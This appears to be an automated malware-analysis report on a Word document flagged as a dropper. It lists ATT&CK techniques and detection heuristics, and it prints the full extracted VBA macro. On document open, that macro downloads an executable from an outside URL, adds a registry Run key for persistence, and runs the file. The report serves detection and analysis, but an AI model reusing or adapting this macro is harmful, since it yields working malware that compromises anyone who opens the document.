MALICIOUS
438
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1547.001 Registry Run Keys / Startup Folder
The sample contains VBA macros that utilize the URLDownloadToFile API to download a file named 'Dr1versUpdater2015.exe' from 'http://www.royalcaribbeantravs.com/'. The macro then uses WScript.Shell to write an entry to the registry Run key, specifically 'HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\0fficeUpdate.EXE', pointing to the downloaded executable, thereby establishing persistence. Finally, it attempts to execute the downloaded file.
Heuristics 12
-
ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set Reg = CreateObject("Wscript.shell") -
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
"URLDownloadToFileA" _ -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set Reg = CreateObject("Wscript.shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
KEWTqZlqnyP = Environ$("tmp") & "\" & zbjvXrWuMYM -
Reference to ShellExecute API high SC_STR_SHELLEXECReference to ShellExecute API
-
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.royalcaribbeantravels.com/Dr1versUpdater2015.exe Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1818 bytes |
SHA-256: 07174dd3e1c7317bab3f538062775db1266a249db51cd7fbe31db9f43c48569d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function AfTofVjud _
Lib _
"urlmon" _
Alias _
"URLDownloadToFileA" _
(ByVal cPBd As Long, ByVal zLZHYLPpdb As String, _
ByVal UnkGdBHDORhCDMWRvKexQLAg As String, _
ByVal pqoteXfIVUlp As Long, ByVal rjIXPAikFimAKftgStPOrXpc As Long) _
As Long
Private Declare Function DoIT Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal gFgrlDAWtRJFRixSGPni As Long, ByVal LNuOTcRxFGE As String, _
ByVal JhovYmlBFIzYohQyBVyCQMv As String, ByVal JjjJSfHbGewVwHBTD As String, ByVal ZJTZVizNVWgDyceKQksiNIJ As String, _
ByVal HMxELcCCR As Long) As Long
Private Sub Document_Open()
QmnwUBfubhAIyeYZXdNGN
End Sub
Sub HKCcEjhODX()
Dim OFSeMLz As String, zbjvXrWuMYM As String, KEWTqZlqnyP As String
zbjvXrWuMYM = "0fficeUpdate.EXE"
KEWTqZlqnyP = Environ$("tmp") & "\" & zbjvXrWuMYM
OFSeMLz = "http://www.royalcaribbeantravels.com/Dr1versUpdater2015.exe"
kGdBHDORhC OFSeMLz, KEWTqZlqnyP
End Sub
Sub QmnwUBfubhAIyeYZXdNGN()
Dim sSEUYbSsUzk As Integer
Dim fTofVjudcPBdzLZHYLPpdbUn As String
sSEUYbSsUzk = 3
fTofVjudcPBdzLZHYLPpdbUn = "gpqoteXfIVUlprjI"
HKCcEjhODX
End Sub
Sub kGdBHDORhC(ByVal DMWR, b As String)
AfTofVjud 0, DMWR, b, 0, 0
Dim Reg As Object
Set Reg = CreateObject("Wscript.shell")
Reg.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & "0fficeUpdate.EXE", b
DoIT 0, "open", b, "", vbNullString, vbNormalFocus
End Sub
Attribute VB_Name = "NewMacros"
Sub Micurriculum()
'
' Micurriculum Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.